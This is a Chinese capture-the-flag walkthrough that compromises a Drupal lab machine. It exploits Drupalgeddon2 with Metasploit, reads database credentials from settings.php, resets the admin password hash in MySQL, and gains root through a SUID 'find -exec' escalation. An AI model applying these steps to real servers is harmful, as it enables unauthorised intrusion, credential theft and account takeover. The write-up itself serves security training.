1.信息收集
nmap -sS 10.9.47.0/24 -T4 nmap -sV -p- 10.9.47.214 -T4
查看80端口
典型的drupal,由于我们这里是外国搭建的靶机,所以就纯kali渗透即可,启动Metersploit
2.msfconsole
msfconsole
寻找关于 drupal 的模块
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 10.9.47.214
run
shell
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
使用python反弹一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
ls -la 列出目录信息
找到flag1
查看flag1
3.Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看
找到flag2和数据库的账号密码
4.mysql的修改数据
我们先进入数据库查看
mysql -u dbuser -p
R0ck3t
show databases;
use drupaldb;
show tables;
直接查找默认的Drupal user 表,发现admin用户
select * from users;
可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。
find . -name “hash”
找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西
./scripts/password-hash.sh
意思应该是直接再后面加密码就会返回加密后的结果
简单测试一下
果然返回了hash后的值。
原来admin的密码hash后为: $S$Dz/WXAZ/43kuh9NcKDtWd3u8vKGyrMd32P9mF2sB7wGDNVjfbOBS
显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了
刚刚123456 hash后为:S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC
置换drupal密码
select * from users\G;
update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";
exit
退出
5.在浏览器直接登录,发现flag3
账户:admin
密码:123456
根据提示passwd我们可以想到/etc/passwd
cat /etc/passwd
发现flag4用户
进入
发现flag4没有什么提示
根据flag3提示,提权并提示 -exec,想到suid提权 find 命令
6.SUID提权
使用命令查看 suid 权限的可执行二进制程序
find / -perm -u=s -type f 2>/dev/null
find / -exec "/bin/bash" -p \;
提权成功
cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
总结
1.nmap,arp-scan使用
2.whatweb 指纹识别
3.msf使用对应的模块
4.mysql的修改数据
5.SUID提权